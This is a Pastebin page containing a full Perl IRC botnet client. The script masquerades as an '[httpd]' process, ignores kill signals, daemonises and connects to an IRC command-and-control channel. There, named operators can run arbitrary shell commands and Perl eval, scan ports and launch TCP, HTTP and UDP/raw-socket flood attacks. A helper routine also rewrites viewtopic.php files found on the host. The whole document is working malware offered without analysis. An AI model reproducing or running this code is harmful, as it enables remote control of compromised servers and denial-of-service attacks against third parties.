Guest User

Untitled

a guest
Dec 13th, 2018
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 12.34 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3.  
  4. my $processo = '[httpd]';
  5. my $linas_max='5';
  6. my $sleep='5';
  7. my @adms=("juniorroots");
  8. my @canais=("#juniorroots");
  9. my $pwned="/tmp/horderd";
  10. my $nick='udppl';
  11. my $ircname = 'juniorroots';
  12. chop (my $realname = 'Ircap 9');
  13. $servidor='irc.abjects.net' unless $servidor;
  14. my $porta='7000';
  15.  
  16. my $VERSAO = '0.2';
  17.  
  18. $SIG{'INT'} = 'IGNORE';
  19. $SIG{'HUP'} = 'IGNORE';
  20. $SIG{'TERM'} = 'IGNORE';
  21. $SIG{'CHLD'} = 'IGNORE';
  22. $SIG{'PS'} = 'IGNORE';
  23.  
  24. use IO::Socket;
  25. use Socket;
  26. use IO::Select;
  27. chdir("/");
  28. $servidor="$ARGV[0]" if $ARGV[0];
  29. $0="$processo"."\0"x16;;
  30. my $pid=fork;
  31. exit if $pid;
  32. die "Problema com o fork: $!" unless defined($pid);
  33.  
  34.  
  35.  
  36. our %irc_servers;
  37. our %DCC;
  38. my $dcc_sel = new IO::Select->new();
  39.  
  40. $sel_cliente = IO::Select->new();
  41. sub sendraw {
  42.   if ($#_ == '1') {
  43.     my $socket = $_[0];
  44.     print $socket "$_[1]\n";
  45.   } else {
  46.       print $IRC_cur_socket "$_[0]\n";
  47.   }
  48. }
  49.  
  50. sub conectar {
  51.    my $meunick = $_[0];
  52.    my $servidor_con = $_[1];
  53.    my $porta_con = $_[2];
  54.  
  55.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  56.    if (defined($IRC_socket)) {
  57.      $IRC_cur_socket = $IRC_socket;
  58.  
  59.      $IRC_socket->autoflush(1);
  60.      $sel_cliente->add($IRC_socket);
  61.  
  62.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  63.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  64.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  65.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  66.      nick("$meunick");
  67.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  68.      sleep 1;
  69.    }
  70. }
  71. my $line_temp;
  72. while( 1 ) {
  73.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  74.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  75.    my @ready = $sel_cliente->can_read(0);
  76.    next unless(@ready);
  77.    foreach $fh (@ready) {
  78.      $IRC_cur_socket = $fh;
  79.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  80.      $nread = sysread($fh, $msg, 4096);
  81.      if ($nread == 0) {
  82.         $sel_cliente->remove($fh);
  83.         $fh->close;
  84.         delete($irc_servers{$fh});
  85.      }
  86.      @lines = split (/\n/, $msg);
  87.  
  88.      for(my $c=0; $c<= $#lines; $c++) {
  89.        $line = $lines[$c];
  90.        $line=$line_temp.$line if ($line_temp);
  91.        $line_temp='';
  92.        $line =~ s/\r$//;
  93.        unless ($c == $#lines) {
  94.          parse("$line");
  95.        } else {
  96.            if ($#lines == 0) {
  97.              parse("$line");
  98.            } elsif ($lines[$c] =~ /\r$/) {
  99.                parse("$line");
  100.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  101.                parse("$line");
  102.            } else {
  103.                $line_temp = $line;
  104.            }
  105.        }
  106.       }
  107.    }
  108. }
  109.  
  110. sub parse {
  111.    my $servarg = shift;
  112.    if ($servarg =~ /^PING \:(.*)/) {
  113.      sendraw("PONG :$1");
  114.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  115.        my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  116.        if ($args =~ /^\001VERSION\001$/) {
  117.          notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  118.        }
  119.        if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  120.          if ($onde eq "$meunick"){
  121.            shell("$pn", "$args");
  122.          }
  123.          if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
  124.             my $natrix = $1;
  125.             my $arg = $2;
  126.             if ($arg =~ /^\!(.*)/) {
  127.               ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  128.             } elsif ($arg =~ /^\@(.*)/) {
  129.                 $ondep = $onde;
  130.                 $ondep = $pn if $onde eq $meunick;
  131.                 bfunc("$ondep","$1");
  132.             } else {
  133.                 shell("$onde", "$arg");
  134.             }
  135.          }
  136.        }
  137.    }
  138.     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  139.        if (lc($1) eq lc($meunick)) {
  140.          $meunick=$4;
  141.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  142.        }
  143.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  144.        nick("$meunick|".int rand(999999));
  145.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  146.        $meunick = $2;
  147.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  148.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  149.        foreach my $canal (@canais) {
  150.          sendraw("JOIN $canal ddosit");
  151.        }
  152.    }
  153. }
  154.  
  155.  
  156. sub bfunc {
  157.   my $printl = $_[0];
  158.   my $funcarg = $_[1];
  159.   if (my $pid = fork) {
  160.      waitpid($pid, 0);
  161.   } else {
  162.       if (fork) {
  163.          exit;
  164.        } else {
  165.            if ($funcarg =~ /^portscan (.*)/) {
  166.              my $hostip="$1";
  167.              my @portas=("21","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080");
  168.              my (@aberta, %porta_banner);
  169.         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");    
  170.              foreach my $porta (@portas)  {
  171.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  172.                 if ($scansock) {
  173.                    push (@aberta, $porta);
  174.                    $scansock->close;
  175.                 }
  176.              }
  177.  
  178.              if (@aberta) {
  179.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
  180.              } else {
  181.                sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found");
  182.              }
  183.            }
  184.            if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  185.         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP-DDOS]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
  186.         my $itime = time;
  187.         my ($cur_time);
  188.              $cur_time = time - $itime;
  189.         while ($3>$cur_time){
  190.              $cur_time = time - $itime;
  191.         &tcpflooder("$1","$2","$3");
  192.              }
  193.         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP-DDOS]\002 Finished with attacking ".$1.":".$2.".");
  194.            }
  195.            if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  196.         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP-DDOS]\002 Attacking ".$1.":80 for ".$2." seconds.");
  197.         my $itime = time;
  198.         my ($cur_time);
  199.              $cur_time = time - $itime;
  200.         while ($2>$cur_time){
  201.              $cur_time = time - $itime;
  202.         my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  203.              print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  204.         close($socket);
  205.              }
  206.         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP-DDOS]\002 Finished with attacking ".$1.".");
  207.            }
  208.            if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  209.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP-DDOS]\002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
  210.              my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  211.              $dtime = 1 if $dtime == 0;
  212.              my %bytes;
  213.              $bytes{igmp} = $2 * $pacotes{igmp};
  214.              $bytes{icmp} = $2 * $pacotes{icmp};
  215.              $bytes{o} = $2 * $pacotes{o};
  216.              $bytes{udp} = $2 * $pacotes{udp};
  217.              $bytes{tcp} = $2 * $pacotes{tcp};
  218.            
  219.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP-DDOS]\002 Sended ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
  220.  
  221.            }
  222.            exit;
  223.        }
  224.   }
  225. }
  226.  
  227. sub ircase {
  228.   my ($kem, $printl, $case) = @_;
  229.  
  230.   if ($case =~ /^join (.*)/) {
  231.      j("$1");
  232.    }
  233.    if ($case =~ /^part (.*)/) {
  234.       p("$1");
  235.    }
  236.    if ($case =~ /^rejoin\s+(.*)/) {
  237.       my $chan = $1;
  238.       if ($chan =~ /^(\d+) (.*)/) {
  239.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  240.           p("$2");
  241.           j("$2");
  242.         }
  243.       } else {
  244.           p("$chan");
  245.           j("$chan");
  246.       }
  247.    }
  248.    if ($case =~ /^op/) {
  249.       op("$printl", "$kem") if $case eq "op";
  250.       my $oarg = substr($case, 3);
  251.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  252.    }
  253.    if ($case =~ /^deop/) {
  254.       deop("$printl", "$kem") if $case eq "deop";
  255.       my $oarg = substr($case, 5);
  256.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  257.    }
  258.    if ($case =~ /^msg\s+(\S+) (.*)/) {
  259.       msg("$1", "$2");
  260.    }
  261.    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  262.       for (my $cf = 1; $cf <= $1; $cf++) {
  263.         msg("$2", "$3");
  264.       }
  265.    }
  266.    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  267.       ctcp("$1", "$2");
  268.    }
  269.    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  270.       for (my $cf = 1; $cf <= $1; $cf++) {
  271.         ctcp("$2", "$3");
  272.       }
  273.    }
  274.    if ($case =~ /^nick (.*)/) {
  275.       nick("$1");
  276.    }
  277.    if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  278.        conectar("$2", "$1", 6667);
  279.    }
  280.    if ($case =~ /^raw (.*)/) {
  281.       sendraw("$1");
  282.    }
  283.    if ($case =~ /^eval (.*)/) {
  284.      eval "$1";
  285.    }
  286. }
  287.  
  288. sub shell {
  289.   my $printl=$_[0];
  290.   my $comando=$_[1];
  291.   if ($comando =~ /cd (.*)/) {
  292.     chdir("$1") || msg("$printl", "No such file or directory");
  293.     return;
  294.   }
  295.   elsif ($pid = fork) {
  296.      waitpid($pid, 0);
  297.   } else {
  298.       if (fork) {
  299.          exit;
  300.        } else {
  301.            my @resp=`$comando 2>&1 3>&1`;
  302.            my $c=0;
  303.            foreach my $linha (@resp) {
  304.              $c++;
  305.              chop $linha;
  306.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  307.              if ($c == "$linas_max") {
  308.                $c=0;
  309.                sleep $sleep;
  310.              }
  311.            }
  312.            exit;
  313.        }
  314.   }
  315. }
  316.  
  317. sub tcpflooder {
  318. my $itime = time;
  319. my ($cur_time);
  320. my ($ia,$pa,$proto,$j,$l,$t);
  321. $ia=inet_aton($_[0]);
  322. $pa=sockaddr_in($_[1],$ia);
  323. $ftime=$_[2];
  324. $proto=getprotobyname('tcp');
  325. $j=0;$l=0;
  326. $cur_time = time - $itime;
  327. while ($l<1000){
  328.   $cur_time = time - $itime;
  329.   last if $cur_time >= $ftime;
  330.   $t="SOCK$l";
  331.   socket($t,PF_INET,SOCK_STREAM,$proto);
  332.   connect($t,$pa)||$j--;
  333.   $j++;$l++;
  334. }
  335. $l=0;
  336. while ($l<1000){
  337.   $cur_time = time - $itime;
  338.   last if $cur_time >= $ftime;
  339.   $t="SOCK$l";
  340.   shutdown($t,2);
  341.   $l++;
  342. }
  343. }
  344.  
  345. sub udpflooder {
  346.   my $iaddr = inet_aton($_[0]);
  347.   my $msg = 'A' x $_[1];
  348.   my $ftime = $_[2];
  349.   my $cp = 0;
  350.   my (%pacotes);
  351.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  352.  
  353.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  354.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  355.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  356.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  357.   return(undef) if $cp == 4;
  358.   my $itime = time;
  359.   my ($cur_time);
  360.   while ( 1 ) {
  361.      for (my $porta = 1; $porta <= 65000; $porta++) {
  362.        $cur_time = time - $itime;
  363.        last if $cur_time >= $ftime;
  364.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  365.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  366.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  367.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  368.  
  369.        for (my $pc = 3; $pc <= 255;$pc++) {
  370.          next if $pc == 6;
  371.          $cur_time = time - $itime;
  372.          last if $cur_time >= $ftime;
  373.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  374.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  375.        }
  376.      }
  377.      last if $cur_time >= $ftime;
  378.   }
  379.   return($cur_time, %pacotes);
  380. }
  381.  
  382. sub ctcp {
  383.    return unless $#_ == 1;
  384.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  385. }
  386. sub msg {
  387.    return unless $#_ == 1;
  388.    sendraw("PRIVMSG $_[0] :$_[1]");
  389. }
  390. sub notice {
  391.    return unless $#_ == 1;
  392.    sendraw("NOTICE $_[0] :$_[1]");
  393. }
  394. sub op {
  395.    return unless $#_ == 1;
  396.    sendraw("MODE $_[0] +o $_[1]");
  397. }
  398. sub deop {
  399.    return unless $#_ == 1;
  400.    sendraw("MODE $_[0] -o $_[1]");
  401. }
  402. sub j { &join(@_); }
  403. sub join {
  404.    return unless $#_ == 0;
  405.    sendraw("JOIN $_[0]");
  406. }
  407. sub p { part(@_); }
  408. sub part {
  409.   sendraw("PART $_[0]");
  410. }
  411. sub nick {
  412.   return unless $#_ == 0;
  413.   sendraw("NICK $_[0]");
  414. }
  415. sub quit {
  416.   sendraw("QUIT :$_[0]");
  417. }
  418.  
  419. sub fix(){
  420. my @in=`find / -name  "viewtopic.php" 2>/dev/null`;
  421. foreach my $f (@in){
  422.     chop $f;
  423.     my $newvt="";
  424.     if (open FIX,"<$f") {
  425.    while (<FIX>){
  426.        $newvt.=$_;
  427.    }
  428.    close FIX;
  429.    $newvt =~ s/urldecode//;
  430.    if (open FIX,">$f"){
  431.        print FIX $newvt;
  432.        close FIX;
  433.    }
  434.     }
  435. }
  436. }
Add Comment
Please, Sign In to add comment